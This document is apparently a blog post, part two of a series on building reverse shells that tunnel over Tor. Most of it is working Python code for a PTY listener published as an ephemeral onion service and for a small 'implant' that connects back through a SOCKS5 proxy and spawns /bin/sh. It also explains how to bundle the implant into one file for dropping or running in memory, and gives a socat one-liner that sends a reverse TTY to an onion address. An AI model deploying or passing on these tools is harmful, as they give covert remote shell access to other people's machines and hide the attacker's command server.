AliumTerm: Reverse Shells over Tor, Part 2. The PTY.

In this post, we will upgrade our listener to give us a PTY, and write a simple enough python implant to send us back our shells. We will also discuss the problem of adding dependencies to our script, and I’ll show the absolutely hideous solution I came up with. A reasonably short entry, as spawning and handling PTY’s in Python is pretty well documented.

Firstly, we rip out our “listener” function that used telnetlib, and replace it with a proper PTY handling class. Luckily, we happen to have perfectly fine example code for this from an old project of mine. It just required some very, very minor tweaks to rip out some unused code. It is also better commented than it has any right to be, so below I’ve posted the full source of our new and improved shell handler.

#!/usr/bin/env python2
from stem.control import Controller
import termios
import select
import socket
import os
import fcntl
import argparse

class PTY:
    def __init__(self, slave=0, pid=os.getpid()):
        # apparently python GC's modules before class instances so, here
        # we have some hax to ensure we can restore the terminal state.
        self.termios, self.fcntl = termios, fcntl

        # open our controlling PTY
        self.pty  = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+")

        # store our old termios settings so we can restore after
        # we are finished 
        self.oldtermios = termios.tcgetattr(self.pty)

        # get the current settings se we can modify them
        newattr = termios.tcgetattr(self.pty)

        # set the terminal to uncanonical mode and turn off
        # input echo.
        newattr[3] &= ~termios.ICANON & ~termios.ECHO

        # don't handle ^C / ^Z / ^\
        newattr[6][termios.VINTR] = '\x00'
        newattr[6][termios.VQUIT] = '\x00'
        newattr[6][termios.VSUSP] = '\x00'

        # set our new attributes
        termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr)

        # store the old fcntl flags
        self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL)
        # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
        # make the PTY non-blocking
        fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK)

    def read(self, size=8192):
        return self.pty.read(size)

    def write(self, data):
        ret = self.pty.write(data)
        self.pty.flush()
        return ret

    def fileno(self):
        return self.pty.fileno()

    def __del__(self):
        # restore the terminal settings on deletion
        self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios)
        self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags)

class Shell:
    def __init__(self, port):
        self.port = port
        self.sock = socket.socket()
        self.sock.bind(("127.0.0.1", port)) # important to specify localhost...
        self.sock.listen(5)

    def handle(self, port=None):
        sock, addr = self.sock.accept()
        print " > got a connection.\n"
        # create our PTY
        pty = PTY()

        # input buffers for the fd's
        buffers = [ [ sock, [] ], [ pty, [] ] ]
        def buffer_index(fd):
            for index, buffer in enumerate(buffers):
                if buffer[0] == fd:
                    return index

        readable_fds = [ sock, pty ]

        data = " "
        # keep going until something deds
        while data:
            # if any of the fd's need to be written to, add them to the
            # writable_fds
            writable_fds = []
            for buffer in buffers:
                if buffer[1]:
                    writable_fds.append(buffer[0])

            r, w, x = select.select(readable_fds, writable_fds, [])

            # read from the fd's and store their input in the other fd's buffer
            for fd in r:
                buffer = buffers[buffer_index(fd) ^ 1][1]
                if hasattr(fd, "read"):
                    data = fd.read(8192)
                else:
                    data = fd.recv(8192)
                if data:
                    buffer.append(data)

            # send data from each buffer onto the proper FD
            for fd in w:
                buffer = buffers[buffer_index(fd)][1]
                data = buffer[0]
                if hasattr(fd, "write"):
                    fd.write(data)
                else:
                    fd.send(data)
                buffer.remove(data)

        # close the socket
        sock.close()

if __name__ == "__main__":
    port = 1337 # later, we may want to randomize this.

    print(' * Connecting to tor')

    with Controller.from_port() as controller:
        controller.authenticate("my_password")

        response = controller.create_ephemeral_hidden_service({80: port}, await_publication = True)
        print(" * Our service is available at %s.onion, it will disappear when this program terminates" % response.service_id)
        try:
            s = Shell(port=port)
            s.handle()
        finally:
            print(" * Shutting down our hidden service")

So now that we have our handler, what about our shell itself?

Well, in the prior examples, we used ncat. We could just send back an ncat reverse shell and upgrade it to a PTY using the usual tricks, but frankly, fuck that. We have perfectly good PTY reverse shell code in Python, and there exists an entire Python library for handling SOCKS5, namely PySocks.

So we very quickly download PySocks, and really, the only relevant file is “socks.py”. We can quite quickly write a very simple reverse shell that uses the PySocks library to connect back to our listener over Tor. And also spawn a PTY.

import socks
import os
import sys
import pty

def main(args):
    if len(args) !=2:
        sys.exit("use: %s blah.onion" %(args[0]))
    # create a socks socket
    s = socks.socksocket() 
    # set the proxy...
    s.set_proxy(socks.SOCKS5, "localhost", 9050)
    # connect, dup2, shell. Nothing special.
    s.connect((args[1], 80))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn("/bin/sh")
    s.close()
if __name__ == "__main__":
    main(args=sys.argv)

So we of course now must test all this, by running our listener, and by running our new callback on a box with tor installed, with just the onion services hostname (no port needed) as an argument (eg: python callback.py blahblahblahblah.onion).

we get our shell.

We should now have a callback shell, in which we can run sudo/su, vim, or just mash CTRL+C all day in with no fear of losing our hard won shell.

Now, you might wonder, what about when deploying this thing? Surely you don’t expect me to ship over the socks.py file as well as the backconnect script?

Well, we have a couple of options here. We could package them into a zip file and execute the zip file (yes, we can do this), or we could bodge the backconnect and the socks code into one file.

The zip file trick is fairly simple. We put our backconnect code into a file named __main__.py, and then have the socks.py file in the same (clean) directory. cd into the directory, and run zip test.zip * to shove them both into test.zip. To run, simply run the zip file with Python.

You can read more about this trick here: https://gist.github.com/asimjalis/4237534

Now for the bodge. We can basically append our backconnect code to the bottom of the socks.py file, fix a couple of imports, fix some naming stuff up (because we are no longer importing socks, we are socks), and it works. We have a simple, one file implant that can be dropped (or ran in memory) on pretty much anything *nix that has a python interpreter (and for now, Tor). Doing this is left as an exercise for the reader – I don’t particularly feel like pasting the entire blob of code here.

Finally, for those who are real connoisseurs, I figured it would be worthwhile noting that we could, of course, just use socat on our target. For those cases where you don’t want to touch Python for whatever reason. An example could be an embedded device where cross compiling Tor and socat is doable, but shipping a Python interpreter over to it is… Hard.

socat socks4a:127.0.0.1:REDACTED.onion:80,socksport=9050 exec:/bin/sh,pty,stderr,setsid,sigint,sane

This absurd looking incantation of magic internet pipes will send you a reverse TTY, lets break it down a little though.

So the socks4a:127.0.0.1:REDACTED.onion:80,socksport=9050 part is quite simple. It tells socat to connect to REDACTED.onion on port 80, using the SOCKS proxy server on localhost (127.0.0.1), and that the SOCKS proxy port is 9050.

It then tells socat that once a connection has been established, to execute /bin/sh, attach a PTY, and ensure that the PTY is functional by setting some other options, which we will explore next.

stderr tells it to redirect stderr of the new process (the shell) to the socat output channel, setsid makes the new process (the shell) the “main process” or “leader” in the new session we opened, sigint tells it to pass along the CTRL+C messages properly to children, as opposed to terminating the socat process, and finally sane asks the terminal kindly to be sane, and functional.

Honestly, if you get a chance, spend a bit of time going through the socat man pages and such. I’ve probably some overdue content coming up showing various socat tricks and tips.

Anyways, at this point we have largely functional TTY available to us, however we haven’t yet resolved the issues of end to end encryption (beyond the encryption offered to us by Tor), or the issue of removing the Tor dependency entirely. Next episode, we shall solve the encryption problem – as it poses a few thorny and irritating issues we shall have to deal with.

%d bloggers like this: